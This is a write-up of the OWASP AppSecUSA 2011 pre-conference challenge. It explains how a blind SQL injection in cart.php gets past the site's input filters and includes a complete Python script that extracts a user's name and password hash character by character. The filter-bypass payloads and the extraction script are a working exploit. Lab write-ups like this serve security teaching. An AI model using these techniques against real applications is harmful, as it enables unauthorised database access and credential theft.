The full writeup on solving the challenge can be viewed at : http://devtrixlabs.com/blog/2011/07/appsecusa-2011-pre-challenge-2-walk-through/
I wrote a script to perform the blind sql injection to extract the name and password based on userlevel, using pretty simple sql statements.
The script is very straight forward, and I think it will be useful for anyone interested to learn more about python and blind sql injection.
Before we jump into the script, the challenge web application can still be accessed at: http://challenge.appsecusa.org. The vulnerability exists in the cart.php where upon pressing the update button, the POST form variable qtyX (X is a integer value) is subject to blind sql injection.
There are few filters in the application that prevent straight forward sql injection:
1. all spaces are replaced by underscore
2. commas are separated into different query
3. dots are replaced by underscore
4. the word qty is removed
5. quotes are escaped
The counter to the above are the following:
1. use comments /**/ to represent spaces
2. don't use commas
3. don't use dots
4. qtqtyy will remove the qty in the middle leaving the outside to become qty
5. don't use quotes
The vulnerable SQL statement is: SELECT * FROM books WHERE id= [injection]
A valid sql injection query is the following:
SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1
Since blind sql injection is to leverage the different in response of a page based on the boolean of the query logic, I decided to use the cart's item to distinguish a 'True' query and 'False' query.
By default, a 'False' query would return a COUNT(id) of 0, so if i was to add 1 to that value, it will give me the first item on the cart page : OWASP CLASP v1.2
If my query is successful, I would get a COUNT(id) > 0 so if i was to add 1 to that value, it will NOT be OWASP CLASP v1.2
For each userlevel greater than 0, there is only 1 name and password for this challenge application. Therefore, at most I can get is COUNT(id) = 1 for each userlevel. So if my query responded with an item OWASP Top 10 - 2010 Edition than my query is 'True'.
Unfortunately, the application has a filter for +. So another representation of + is to use x -- y. Luckily, the application accepts - and so my query is:
1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1
The above query will return me a 1 -> false (OWASP CLASP v1.2) or 2 -> true (OWASP Top 10 -2010 Edition)
So the exploit is the following:
qty1--SELECT/**/COUNT(id)/**/FROM/**/users/**/WHERE/**/length(name)=1
So the way to extract username and password is the following:
1. Find the length of the name
2. For each character in name with the length discovered above, brute force it with a-z until a match occurs. repeat for all characters in name
- Since commas is not allowed, I can access each character of a field using mid(name from POSITION for 1)
- Since quotes are not allowed, I can represent alphabet with char(number), such as char(97) equals 'a'
- Therefore mid(name from POS for 1)=char(num) is the technique used to extract values yet circumvent the filters
3. For each character in password based on the name and length of name discovered above, brute force it with 0-9, and a-f unitl a match occurs. repeat for all characters in password (length = 32)
- Uses the same tactics to retrieve values as in Step 2
For the actual queries I used, please check out the script below:
Enjoy!
'''
OWASP Pre Conference Challenge #2 Blind SQL Injection in cart.php
Johnny (MisterU)
'''
import urllib
import urllib2
import cookielib
url = "http://challenge.appsecusa.org/cart.php"
key = "OWASP Top 10 - 2010 Edition"
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj), urllib2.HTTPHandler())
def BuildSqlStatement(sqlStatement):
# any spaces will be replaced by underscore, so use comment trick to create space
# use (1--value) to get (1+value) to determine success or failure
payload = "qty1--"+urllib.quote_plus(sqlStatement.replace(" ", "/**/"))
return payload
def AddCart():
querystring = urllib.urlencode({'action':'add', 'id':'1'})
request = urllib2.Request(url + "?%s" % querystring)
response = opener.open(request)
response.close()
def UpdateCart(sqlStatement):
querystring = urllib.urlencode({'action':'update'})
form = BuildSqlStatement(sqlStatement)+'=1'
request = urllib2.Request(url + "?%s" % querystring, form)
for cookie in cj:
request.add_header(cookie.name, cookie.value)
response = opener.open(request)
if key in response.read(): #the key is when qty2
response.close()
return True
response.close()
return False
def GetNameLength(userlevel):
length = 1
while True:
cj.clear() #clear the cookie to remove previous session
AddCart()
sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+")"
print sqli
success = UpdateCart(sqli)
if success:
return length
length+=1
def GetName(userlevel, length):
name = ""
for i in range(length):
for alpha in range(97, 123, 1):
cj.clear() #clear the cookie to remove previous session
AddCart()
sqli = "(select count(id) from users where userlevel="+str(userlevel)+" and length(name)="+str(length)+" and mid(name from "+ str(i+1) +" for 1)=char("+ str(alpha) +"))"
print sqli
success = UpdateCart(sqli)
if success:
name += chr(alpha)
print name
break
return name
def GetPassword(userlevel, name, hashbrown):
length = 32
password = ""
hexName = "0x" #Can't use quote for string, so use hex representation
for c in name:
hexName += str(hex(ord(c))).replace("0x","")
for i in range(length):
for value in hashbrown:
cj.clear()
AddCart()
sqli = "(select count(id) from users where userlevel="+ str(userlevel)+" and name="+ hexName +" and mid(password from "+ str(i+1) +" for 1)=char("+ str(value) +"))"
print sqli
success = UpdateCart(sqli)
if success:
password += chr(value)
print password
break
return password
if __name__ == "__main__":
userlevel = 2
print "Retrieving information on userlevel -> " + str(userlevel)
length = GetNameLength(userlevel)
print "Length -> " + str(length)
name = GetName(userlevel, length)
print "Name -> " + name
hashbrown = [ord(str(num)) for num in range(10)] #build the 0-9,a-f table
hashbrown.extend([alpha for alpha in range(ord('a'),ord('g'),1)])
password = GetPassword(userlevel, name, hashbrown)
print "Password -> " + password
print 'Owasp pre-conference challenge 2 - blind sql injection cart.php'
print '---------------------------------------------------------------'
print 'Userlevel -> ' + str(userlevel)
print 'Name -> ' + name
print 'Password -> ' + password